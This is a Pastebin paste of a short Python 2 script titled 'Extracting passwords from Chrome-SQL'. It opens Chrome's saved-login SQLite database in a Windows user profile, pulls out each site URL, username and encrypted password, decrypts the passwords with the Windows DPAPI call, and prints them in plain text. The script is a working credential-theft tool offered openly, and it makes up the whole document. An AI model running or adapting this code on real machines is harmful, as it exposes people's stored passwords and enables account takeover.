Guest User

Extracting passwords from Chrome-SQL

a guest
Aug 21st, 2016
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.55 KB | None | 0 0
  1. from os import getenv
  2. import sqlite3
  3. import win32crypt
  4.  
  5. # Connect to the Database
  6. conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
  7. cursor = conn.cursor()
  8. # Get the results
  9. cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  10. for result in cursor.fetchall():
  11.   # Decrypt the Password
  12.     password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
  13.     if password:
  14.         print 'Site: ' + result[0]
  15.         print 'Username: ' + result[1]
  16.         print 'Password: ' + password
Add Comment
Please, Sign In to add comment